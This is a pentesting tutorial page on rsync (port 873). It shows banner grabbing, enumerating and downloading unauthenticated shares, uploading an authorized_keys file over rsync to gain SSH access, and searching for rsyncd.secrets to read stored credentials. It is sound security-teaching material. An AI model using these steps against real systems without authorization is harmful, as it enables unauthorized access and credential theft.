97 lines
4.6 KiB
Markdown
97 lines
4.6 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
## **Basic Information**
|
|
|
|
> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
|
|
|
|
From [wikipedia](https://en.wikipedia.org/wiki/Rsync).
|
|
|
|
**Default port:** 873
|
|
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
|
|
## Enumeration
|
|
|
|
### Banner & Manual communication
|
|
|
|
```
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
|
|
### **Enumerate shared folders**
|
|
|
|
**An rsync module is essentially a directory share**. These modules **can optionally be protected by a password**. This options lists the available modules and, optionally, determines if the module requires a password to access**:**
|
|
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
#Example using IPv6 and a different port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
|
|
Notice that it could be configured a shared name to not be listed. So there could be something **hidden**.\
|
|
Notice that it may be some **shared names** being listed where you need some (different) **credentials** to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those.
|
|
|
|
### ****[**Brute force**](../brute-force.md#rsync)
|
|
|
|
### Manual Rsync
|
|
|
|
Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required** you can **list** a shared folder:
|
|
|
|
```bash
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
```
|
|
|
|
And **copy** all **files** to your local machine via the following command:
|
|
|
|
```bash
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
|
|
This **recursively transfers all files from the directory** `<shared_name>` on the machine `<IP>`into the `./rsync_shared` directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer.
|
|
|
|
If you **have credentials** you can **list/download** a **shared name** using (the password will be prompted):
|
|
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
|
|
You could also **upload** some **content** using rsync (for example, in this case we can upload an _**authorized\_keys**_ file to obtain access to the box):
|
|
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
|
|
## POST
|
|
|
|
Find the rsyncd configuration file:
|
|
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
|
|
Inside the config file sometimes you could find the parameter _secrets file = /path/to/file_ and this file could contains usernames and passwords allowed to authenticate to rsyncd.
|